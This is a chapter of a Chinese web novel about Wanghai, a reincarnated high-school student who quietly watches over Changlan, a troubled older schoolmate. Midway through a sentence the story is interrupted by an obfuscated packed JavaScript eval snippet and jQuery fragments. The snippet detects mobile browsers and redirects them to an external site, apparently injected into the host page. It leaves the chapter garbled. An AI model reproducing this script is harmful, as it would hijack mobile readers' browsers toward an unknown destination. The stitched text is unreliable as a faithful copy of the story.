九月的风褪了盛夏的燥热，穿过明德中学的梧桐道时，已经带了几分清爽凉意。
新学期第二周，高一（3）班的教室里，班主任正在讲台上念新的座位表。
忘海单手撑着下巴，靠窗坐在最后一排，有一搭没一搭地听着。阳光透过梧桐叶筛下来，在课桌上晃出碎光，落在他搭在桌沿的手指上。
旁边有人拽着书包坐下来，椅子腿刮过地板，发出"吱"的一声。
“诶，你是不是混血？”
同桌是个圆脸的男生，叫赵岩，从开学第一天就对他充满好奇，憋了一周终于问出口了。
忘海偏过头看他。
赵岩指了指自己的眼睛：“你的眼睛，蓝色的。”
忘海笑了笑，没说是不是。
他要怎么解释呢。这双眼睛今早出门前还是深褐色的。走在路上觉得不对劲，闭了一下眼，再睁开的时候就不一样了。他对这副壳子向来不太上心，十几年来总在不经意间微调某个部位，像穿一件不太合身的旧衣服，需要时时扯一扯衣角。
不过反正也没人认真看过他。
“戴美瞳。”他说。
赵岩“啊”了一声，将信将疑，又看了两眼，没再追问。
窗外那棵梧桐树，忘海来报到的时候还是满树浓绿，现在边缘已经开始泛黄了。他觉得安心。他喜欢这些按部就班变化的东西——春天的芽、夏天的蝉、秋天的落叶、冬天的雪。这些规律让这一世的人间显得有序、温柔，不需要他操心。
今早出门前，养母从厨房追出来往他书包里塞了个保温饭盒。
“炖了一晚上，骨头都化了，中午记得吃。”
养父靠在门框上，用蹩脚的中文替她拆台：“够了够了，他吃不了那么多。”
“他正在长身体。”养母头都没回。
忘海站在玄关换鞋，听着厨房里两个人推来推去，嘴角不自觉地弯了一下。
他把饭盒装好，说了声“我出门了”。
门合上的时候，饭盒还是温热的。
这样的早晨他过了十几年。平平无奇，日复一日。活了那么久，这是唯一一次觉得“人间值得”的一世。
上午第三节是数学课。
老师在黑板上写公式，粉笔摩擦出细碎的声响。忘海的笔跟了几行，然后停下来。他托着下巴，目光落在窗外对面的教学楼。
高二（7）班，走廊尽头那间教室。
他知道那个人在里面。不需要确认，不需要看见。像人不需要想就会呼吸，他不抬头就知道对方在哪个方向。
下课铃响的时候，赵岩从后面拍了他一下。
“去小卖部吗？下节体育课，先买水。”
忘海收回目光，“嗯”了一声。
走廊里涌满了人。高一高二的都在换楼层换教室，脚步声、说笑声、追逐打闹的声音撞在一起，填满了整个午间的空隙。
小卖部里排着长队。
赵岩抢了两瓶冰水，忘海站在货架旁边等。然后他看见了那个人。
苌斓从小卖部最里面的货架前走过去。
高二的校服穿在他身上格外宽松，袖口垂下来，遮住了大半只手。他走得不快，低着头，像在数地上的瓷砖。人群自动在他身边让开一道缝，有人偷偷侧目，有人压低声音跟旁边的人说话。他全无反应，眉眼低垂，步伐平稳，周身笼着一层淡淡的冷。
他从货架上拿了一瓶水。
忘海的目光跟过去。
两块钱一瓶的那种，最便宜的。
苌斓走到收银台前，从校服口袋里摸出两张皱巴巴的纸币，递过去。收银的阿姨说了句什么，他摇了一下头，然后接过水，转身走了。
全程没有看任何人。
忘海的视线落在他垂下的袖口。手表带子下面，有一道浅浅的白痕从边缘露出来。阳光照上去，泛着旧疤的质地。
他的手指不自觉地蜷了一下。
赵岩举着水挤回来：“看什么呢？”
“没什么。”忘海收回视线，接过水，“走吧。”
体育课自由活动，男生们在操场上踢球。忘海坐在跑道边的台阶上，拧开瓶盖喝了口水。赵岩踢了半场跑下来，一屁股坐到他旁边，喘着气。
“诶，刚才你是不是在看那个高二的？”
忘海顿了一下：“哪个？”
“就是那个……苌斓。”赵岩压低声音，语气里带着一点说不上来的意味，“你应该见过吧，学校里挺出名的。有人说他性格怪，有人说他家里有点问题。反正不太好惹的样子。”
忘海没接话。
赵岩又补了一句：“不过长得是真好看，就是太瘦了。”
忘海垂下眼，拇指无意识地摩挲着水瓶的标签。
他想说他长得一直都好看。每一世都好看。但每一世都很瘦。瘦得像一根绷了太久的弦，不知道什么时候就会断。
他没说。
“走了，回去上课。”他站起身，把赵岩拉起来。
下午最后一节自习课，忘海写了一会儿作业，抬头看窗外。
对面高二教学楼的走廊里，苌斓正从教室出来，往楼梯口走。走读生可以提前离校，他每天都是这个时间走。路线简单到可以用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724357|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一条直线画完：教室——走廊——校门口——公交站。没有分叉，没有意外，从来不拐弯。
只是今天他在校门口停了一下。
忘海看见了。
校门旁边的墙角里探出一只脏兮兮的三花猫。苌斓蹲下来，从书包侧袋里拿出一个塑料袋，打开，里面是掰碎的面包。他把面包倒在一个纸盒里，然后往后退了一步。猫警惕地望了他半天，终于凑过来吃。
苌斓蹲在那里没动，安静地看着。
全程没有表情。但那个纸盒，忘海前一天放学的时候就看见摆在那里了。
他忽然想起书包里那个保温饭盒。
养母炖了一晚上的汤，骨头都化了。他不知道苌斓今天吃了什么。不知道那个人有没有人给他塞保温饭盒，有没有人跟他说“记得吃”，有没有人嫌他吃得太少。
他垂下眼，看着自己摊开的掌心。
千万世。他活了千万世。每一次重置之前，他都会把关于那个人的记忆单独存下来，埋进灵魂最深处。他不允许自己忘记。
然后每一次，他都找到了。
每一次，苌斓都过得很不好。被欺辱、被辜负、被碾碎。像一朵花，开了又被人踩灭，开了又被人踩灭，循环往复。
而每一次，到最后——
忘海闭了一下眼，把那个念头掐灭在意识深处。
放学铃响了。
赵岩收拾好书包，问他走不走。忘海说再等一会儿，让赵岩先走了。教室里渐渐空了，夕阳从窗外斜进来，把课桌椅的影子拉得很长。
他背上书包，慢慢走下楼。
走到校门口的时候，他停了一下。
那个纸盒还在墙角。猫已经走了。
苌斓当然也走了。
忘海站在原地，看着空荡荡的墙角看了两秒。然后他走过去，蹲下来，把纸盒往墙根里推了推，免得被晚风吹翻。
起身的时候，他的指尖碰到了什么。
低头一看，纸盒旁边掉了一个很小的东西。一个挂件，旧得掉色，上面印着一只卡通猫，金属扣已经生锈了。
可能是从苌斓书包上掉下来的。
忘海捡起来，攥在手里。金属扣硌着掌心，有一点凉。
他站在初秋的黄昏里，抬头看向公交站的方向。那里已经没有人了。晚风吹过梧桐道，叶子沙沙地响。
他把那个挂件小心地放进了校服口袋里，贴着保温饭盒的温度。
然后往家的方向走去。
他想，能不能快一点。不是快一点长大，是快一点靠近那个人。
快一点，在这一世。